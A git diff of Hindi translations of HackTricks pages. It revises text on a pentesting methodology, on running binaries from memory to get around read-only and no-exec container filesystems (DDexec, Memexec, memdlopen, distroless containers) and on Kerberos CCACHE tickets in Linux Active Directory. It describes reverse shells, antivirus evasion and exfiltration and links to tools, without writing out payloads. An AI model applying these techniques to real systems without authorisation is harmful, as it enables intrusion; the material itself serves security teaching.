**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में **_**PENTESTING**_ **अनुभाग खोजें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)।
|
||||
|
||||
**मैं** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **भाग का विशेष उल्लेख करना चाहता हूँ (क्योंकि यह सबसे विस्तृत है)।**\
|
||||
**मैं विशेष रूप से** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **भाग का उल्लेख करना चाहता हूँ (क्योंकि यह सबसे विस्तृत है)।**\
|
||||
इसके अलावा, [**सॉफ़्टवेयर में ज्ञात कमजोरियों को खोजने के लिए एक छोटा गाइड**](search-exploits.md) यहाँ पाया जा सकता है।
|
||||
|
||||
**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते** हैं, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाएँ पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)।
|
||||
**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते**, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करके, इसे फज़ करके और प्रतिक्रियाएँ पढ़कर** शुरू कर सकते हैं (यदि कोई हो)।
|
||||
|
||||
#### 5.1 स्वचालित उपकरण
|
||||
|
||||
कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)**, जो कि मैंने बनाया है और यह इस पुस्तक में आपको मिल सकने वाले सेवाओं के परीक्षण के नोट्स पर आधारित है, आज़माने की सिफारिश करूंगा।**
|
||||
कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)**, जो कि मैंने बनाया है और यह इस पुस्तक में पेंटेस्टिंग सेवाओं के बारे में नोट्स पर आधारित है, आजमाने की सिफारिश करूंगा।**
|
||||
|
||||
#### **5.2 ब्रूट-फोर्सिंग सेवाएँ**
|
||||
|
||||
कुछ परिदृश्यों में **ब्रूट-फोर्स** किसी **सेवा को समझौता करने** के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का CheatSheet खोजें**](brute-force.md)**।**
|
||||
कुछ परिदृश्यों में **ब्रूट-फोर्स** किसी **सेवा को समझौता करने** के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का एक चीटशीट खोजें**](brute-force.md)**।**
|
||||
|
||||
### 6- [फिशिंग](phishing-methodology/)
|
||||
|
||||
यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की कोशिश करनी पड़ सकती है**। आप मेरी फिशिंग पद्धति [यहाँ](phishing-methodology/) पढ़ सकते हैं:
|
||||
यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की आवश्यकता हो सकती है**। आप मेरी फिशिंग पद्धति [यहाँ](phishing-methodology/) पढ़ सकते हैं:
|
||||
|
||||
### **7-** [**शेल प्राप्त करना**](reverse-shells/)
|
||||
|
||||
किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जा सकने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची एक रिवर्स शेल प्राप्त करने के लिए बहुत उपयोगी होगी](reverse-shells/)।
|
||||
किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका** मिल जाना चाहिए। फिर, [सिस्टम के अंदर संभावित उपकरणों की एक सूची जो आपको एक रिवर्स शेल प्राप्त करने के लिए उपयोगी होगी](reverse-shells/)।
|
||||
|
||||
विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जाँच करें**](../windows-hardening/av-bypass.md)**।**\\
|
||||
|
||||
### 8- अंदर
|
||||
|
||||
यदि आपको शेल के साथ समस्याएँ हैं, तो आप यहाँ **पेंटेस्टर्स के लिए सबसे उपयोगी कमांडों का एक छोटा संकलन** पा सकते हैं:
|
||||
यदि आपको शेल के साथ समस्याएँ हैं, तो आप यहाँ पेंटेस्टर्स के लिए सबसे उपयोगी कमांड्स का एक छोटा **संकलन** पा सकते हैं:
|
||||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
|
@ -91,14 +91,14 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
|
|||
|
||||
### **9 -** [**एक्सफिल्ट्रेशन**](exfiltration.md)
|
||||
|
||||
आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके पास** [**इन उद्देश्यों के लिए उपयोग किए जा सकने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](exfiltration.md)**।**
|
||||
आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके लिए** [**इन उद्देश्यों के लिए उपयोग किए जा सकने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](exfiltration.md)**।**
|
||||
|
||||
### **10- विशेषाधिकार वृद्धि**
|
||||
|
||||
#### **10.1- स्थानीय प्रिवेस्क**
|
||||
|
||||
यदि आप **बॉक्स के अंदर रूट/व्यवस्थापक नहीं हैं**, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\
|
||||
यहाँ आप **Linux** में [**स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड**](../linux-hardening/privilege-escalation/) और [**Windows**](../windows-hardening/windows-local-privilege-escalation/) में पा सकते हैं।\
|
||||
यदि आप बॉक्स के अंदर **रूट/व्यवस्थापक नहीं हैं**, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\
|
||||
यहाँ आप [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **में स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड पा सकते हैं।**\
|
||||
आपको यह पृष्ठ भी देखना चाहिए कि **Windows कैसे काम करता है**:
|
||||
|
||||
* [**प्रमाणीकरण, क्रेडेंशियल, टोकन विशेषाधिकार और UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
|
@ -110,7 +110,7 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
|
|||
|
||||
#### **10.2- डोमेन प्रिवेस्क**
|
||||
|
||||
यहाँ आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और बनाए रखने के लिए सबसे सामान्य क्रियाओं को समझाती है**](../windows-hardening/active-directory-methodology/)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया **पेंटेस्टिंग/रेड टीम असाइनमेंट** पर **अत्यधिक नाजुक** हो सकती है।
|
||||
यहाँ आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और स्थायी बनाने के लिए सबसे सामान्य क्रियाओं की व्याख्या करती है**](../windows-hardening/active-directory-methodology/)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया **पेंटेस्टिंग/रेड टीम असाइनमेंट** पर **अत्यंत नाजुक** हो सकती है।
|
||||
|
||||
### 11 - पोस्ट
|
||||
|
||||
|
@ -128,9 +128,9 @@ TODO: Windows और Linux में स्थिरता पोस्ट प
|
|||
|
||||
### 12 - पिवटिंग
|
||||
|
||||
**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई होस्ट का पता लगाने और स्कैन करने** की आवश्यकता है (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहाँ आपका शिकार जुड़ा हुआ है।\
|
||||
**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई होस्ट का पता लगाने और स्कैन करने** की आवश्यकता हो सकती है (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहाँ आपका शिकार जुड़ा हुआ है।\
|
||||
इस मामले में, टनलिंग आवश्यक हो सकती है। यहाँ आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](tunneling-and-port-forwarding.md)।\
|
||||
आपको निश्चित रूप से [एक्टिव डायरेक्टरी पेंटेस्टिंग पद्धति](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट की जाँच करनी चाहिए। वहाँ आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स डंप करने के लिए अच्छे ट्रिक्स मिलेंगे।\
|
||||
आपको निश्चित रूप से [एक्टिव डायरेक्टरी पेंटेस्टिंग पद्धति](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट की जाँच करनी चाहिए। वहाँ आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स को डंप करने के लिए अच्छे ट्रिक्स मिलेंगे।\
|
||||
[**NTLM**](../windows-hardening/ntlm/) के बारे में पृष्ठ की जाँच करें, यह Windows वातावरण में पिवट करने के लिए बहुत उपयोगी हो सकता है।
|
||||
|
||||
### अधिक
|
||||
|
@ -151,9 +151,9 @@ TODO: Windows और Linux में स्थिरता पोस्ट प
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**पैडिंग ओरेकल**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने के लिए - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,22 +15,22 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_पोलिश में धाराप्रवाह लिखित और मौखिक आवश्यक है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## वीडियो
|
||||
|
||||
नीचे दिए गए वीडियो में आप इस पृष्ठ में उल्लिखित तकनीकों को अधिक गहराई से समझ सकते हैं:
|
||||
निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लेखित तकनीकों को अधिक गहराई से समझ सकते हैं:
|
||||
|
||||
* [**DEF CON 31 - Linux मेमोरी हेरफेर का अन्वेषण करना**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ng और इन-मेमोरी dlopen() के साथ स्टेल्थ घुसपैठ - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
* [**DDexec-ng और इन-मेमोरी dlopen() के साथ स्टेल्थ घुसपैठ - HackTricks ट्रैक 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## केवल पढ़ने के लिए / कोई निष्पादन नहीं परिदृश्य
|
||||
|
||||
यह अधिक से अधिक सामान्य होता जा रहा है कि लिनक्स मशीनें **केवल पढ़ने के लिए (ro) फ़ाइल प्रणाली सुरक्षा** के साथ माउंट की जाती हैं, विशेष रूप से कंटेनरों में। इसका कारण यह है कि ro फ़ाइल प्रणाली के साथ एक कंटेनर चलाना **`readOnlyRootFilesystem: true`** को `securitycontext` में सेट करने जितना आसान है:
|
||||
यह अधिक से अधिक सामान्य होता जा रहा है कि लिनक्स मशीनें **केवल पढ़ने के लिए (ro) फ़ाइल प्रणाली सुरक्षा** के साथ माउंट की जाती हैं, विशेष रूप से कंटेनरों में। इसका कारण यह है कि ro फ़ाइल प्रणाली के साथ कंटेनर चलाना **`readOnlyRootFilesystem: true`** को `securitycontext` में सेट करने जितना आसान है:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -53,13 +53,13 @@ securityContext:
|
|||
|
||||
## सबसे आसान बायपास: स्क्रिप्ट
|
||||
|
||||
ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप **किसी भी स्क्रिप्ट को निष्पादित कर सकते हैं** जब तक कि इंटरप्रेटर मशीन के अंदर हो, जैसे कि **शेल स्क्रिप्ट** यदि `sh` मौजूद है या एक **पायथन** **स्क्रिप्ट** यदि `python` स्थापित है।
|
||||
ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप **किसी भी स्क्रिप्ट को निष्पादित कर सकते हैं** जब तक कि इंटरप्रेटर मशीन के अंदर हो, जैसे कि **शेल स्क्रिप्ट** यदि `sh` मौजूद है या **पायथन** **स्क्रिप्ट** यदि `python` स्थापित है।
|
||||
|
||||
हालांकि, यह आपके बाइनरी बैकडोर या अन्य बाइनरी उपकरणों को चलाने के लिए पर्याप्त नहीं है।
|
||||
|
||||
## मेमोरी बायपास
|
||||
|
||||
यदि आप एक बाइनरी को निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है **मेमोरी से इसे निष्पादित करना**, क्योंकि **सुरक्षाएँ वहाँ लागू नहीं होती हैं**।
|
||||
यदि आप एक बाइनरी को निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है **इसे मेमोरी से निष्पादित करना**, क्योंकि **सुरक्षाएँ वहाँ लागू नहीं होती हैं**।
|
||||
|
||||
### FD + exec syscall बायपास
|
||||
|
||||
|
@ -77,7 +77,7 @@ securityContext:
|
|||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) एक तकनीक है जो आपको **अपने स्वयं के प्रोसेस की मेमोरी को संशोधित करने** की अनुमति देती है, इसके **`/proc/self/mem`** को ओवरराइट करके।
|
||||
|
||||
इसलिए, **प्रक्रिया द्वारा निष्पादित हो रहे असेंबली कोड को नियंत्रित करते हुए**, आप एक **शेलकोड** लिख सकते हैं और प्रक्रिया को **किसी भी मनमाने कोड को निष्पादित करने के लिए "म्यूटेट"** कर सकते हैं।
|
||||
इसलिए, **प्रक्रिया द्वारा निष्पादित हो रहे असेंबली कोड को नियंत्रित करते हुए**, आप एक **शेलकोड** लिख सकते हैं और प्रक्रिया को "म्यूटेट" कर सकते हैं ताकि **कोई भी मनमाना कोड निष्पादित किया जा सके**।
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** आपको **मेमोरी** से अपने स्वयं के **शेलकोड** या **किसी भी बाइनरी** को लोड और **निष्पादित** करने की अनुमति देगा।
|
||||
|
@ -94,13 +94,13 @@ For more information about this technique check the Github or:
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) DDexec का स्वाभाविक अगला कदम है। यह एक **DDexec शेलकोड डेमोनाइज्ड** है, इसलिए हर बार जब आप **एक अलग बाइनरी चलाना चाहते हैं** तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप बस DDexec तकनीक के माध्यम से memexec शेलकोड चला सकते हैं और फिर **नए बाइनरी लोड और चलाने के लिए इस डेमोन के साथ संवाद कर सकते हैं**।
|
||||
[**Memexec**](https://github.com/arget13/memexec) DDexec का स्वाभाविक अगला कदम है। यह एक **DDexec शेलकोड डेमनाइज्ड** है, इसलिए हर बार जब आप **एक अलग बाइनरी चलाना चाहते हैं** तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप बस DDexec तकनीक के माध्यम से memexec शेलकोड चला सकते हैं और फिर **नए बाइनरी लोड और चलाने के लिए इस डेमन के साथ संवाद कर सकते हैं**।
|
||||
|
||||
आप [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) पर **memexec का उपयोग करके PHP रिवर्स शेल से बाइनरी निष्पादित करने** का एक उदाहरण पा सकते हैं।
|
||||
|
||||
### Memdlopen
|
||||
|
||||
DDexec के समान उद्देश्य के साथ, [**memdlopen**](https://github.com/arget13/memdlopen) तकनीक **बाइनरी को लोड करने का एक आसान तरीका** प्रदान करती है ताकि बाद में उन्हें निष्पादित किया जा सके। यह यहां तक कि निर्भरताओं के साथ बाइनरी लोड करने की अनुमति भी दे सकती है।
|
||||
DDexec के समान उद्देश्य के साथ, [**memdlopen**](https://github.com/arget13/memdlopen) तकनीक **बाइनरी को लोड करने का एक आसान तरीका** प्रदान करती है ताकि बाद में उन्हें निष्पादित किया जा सके। यह निर्भरताओं के साथ बाइनरी लोड करने की अनुमति भी दे सकती है।
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
|
@ -115,13 +115,13 @@ Distroless कंटेनरों का लक्ष्य **अनावश
|
|||
एक distroless कंटेनर में आप **शायद `sh` या `bash` भी नहीं पाएंगे** ताकि एक नियमित शेल प्राप्त किया जा सके। आप `ls`, `whoami`, `id` जैसे बाइनरी भी नहीं पाएंगे... जो कुछ भी आप आमतौर पर एक सिस्टम में चलाते हैं।
|
||||
|
||||
{% hint style="warning" %}
|
||||
इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम की गणना** करने में सक्षम **नहीं होंगे** जैसे आप आमतौर पर करते हैं।
|
||||
इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम को सूचीबद्ध** करने में सक्षम **नहीं होंगे** जैसा कि आप आमतौर पर करते हैं।
|
||||
{% endhint %}
|
||||
|
||||
हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक नोड रिव शेल प्राप्त कर सकते हैं, और अधिकांश **स्क्रिप्टिंग भाषा** के साथ भी यही है।
|
||||
हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक Node रिव शेल प्राप्त कर सकते हैं, और अधिकांश **स्क्रिप्टिंग भाषाओं** के साथ भी यही है।
|
||||
|
||||
{% hint style="success" %}
|
||||
स्क्रिप्टिंग भाषा का उपयोग करके आप **सिस्टम की गणना** कर सकते हैं भाषा की क्षमताओं का उपयोग करके।
|
||||
स्क्रिप्टिंग भाषा का उपयोग करके आप **सिस्टम को सूचीबद्ध** कर सकते हैं भाषा की क्षमताओं का उपयोग करके।
|
||||
{% endhint %}
|
||||
|
||||
यदि **कोई `read-only/no-exec`** सुरक्षा नहीं है तो आप अपने रिवर्स शेल का दुरुपयोग करके **फाइल सिस्टम में अपने बाइनरी लिख सकते हैं** और **उन्हें निष्पादित** कर सकते हैं।
|
||||
|
@ -130,11 +130,11 @@ Distroless कंटेनरों का लक्ष्य **अनावश
|
|||
हालांकि, इस प्रकार के कंटेनरों में ये सुरक्षा आमतौर पर मौजूद होंगी, लेकिन आप **उन्हें बायपास करने के लिए पिछले मेमोरी निष्पादन तकनीकों का उपयोग कर सकते हैं**।
|
||||
{% endhint %}
|
||||
|
||||
आप [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) पर **कुछ RCE कमजोरियों का शोषण करने के लिए उदाहरण** पा सकते हैं ताकि स्क्रिप्टिंग भाषाओं के **रिवर्स शेल** प्राप्त कर सकें और मेमोरी से बाइनरी निष्पादित कर सकें।
|
||||
आप [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) पर **कुछ RCE कमजोरियों का शोषण करने** के उदाहरण पा सकते हैं ताकि स्क्रिप्टिंग भाषाओं के **रिवर्स शेल** प्राप्त कर सकें और मेमोरी से बाइनरी निष्पादित कर सकें।
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अडिग को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -147,8 +147,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके।
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें PRs को [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Linux Active Directory
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,21 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
एक लिनक्स मशीन भी एक सक्रिय निर्देशिका वातावरण के अंदर मौजूद हो सकती है।
|
||||
|
||||
एक AD में लिनक्स मशीन **फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं**। इन टिकटों को पढ़ने के लिए, आपको टिकट का उपयोगकर्ता मालिक होना चाहिए या मशीन के अंदर **रूट** होना चाहिए।
|
||||
एक AD में लिनक्स मशीन **फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं**। इन टिकटों को पढ़ने के लिए, आपको टिकट का उपयोगकर्ता मालिक होना चाहिए या मशीन के अंदर **root** होना चाहिए।
|
||||
|
||||
## Enumeration
|
||||
|
||||
### AD enumeration from linux
|
||||
|
||||
यदि आपके पास लिनक्स (या विंडोज में बैश) में AD पर पहुंच है, तो आप AD को सूचीबद्ध करने के लिए [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) का प्रयास कर सकते हैं।
|
||||
यदि आपके पास लिनक्स (या Windows में bash) पर AD तक पहुंच है, तो आप AD को सूचीबद्ध करने के लिए [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) का प्रयास कर सकते हैं।
|
||||
|
||||
आप लिनक्स से AD को सूचीबद्ध करने के **अन्य तरीकों** के लिए निम्नलिखित पृष्ठ की भी जांच कर सकते हैं:
|
||||
आप लिनक्स से AD को सूचीबद्ध करने के लिए **अन्य तरीकों** के बारे में जानने के लिए निम्नलिखित पृष्ठ की भी जांच कर सकते हैं:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -37,7 +35,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** के लिए, मुख्य रूप से **Unix** वातावरण के लिए। यह Active Directory के समान प्रबंधन के लिए एक पूर्ण **LDAP निर्देशिका** को MIT **Kerberos** की कुंजी वितरण केंद्र के साथ जोड़ता है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **प्रमाणपत्र प्रणाली** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **मल्टी-फैक्टर** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानें:
|
||||
FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** के लिए, मुख्य रूप से **Unix** वातावरण के लिए। यह Active Directory के समान प्रबंधन के लिए एक पूर्ण **LDAP निर्देशिका** को MIT **Kerberos** की कुंजी वितरण केंद्र के साथ जोड़ता है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **Certificate System** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **multi-factor** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानें:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
|
@ -47,7 +45,7 @@ FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Mic
|
|||
|
||||
### Pass The Ticket
|
||||
|
||||
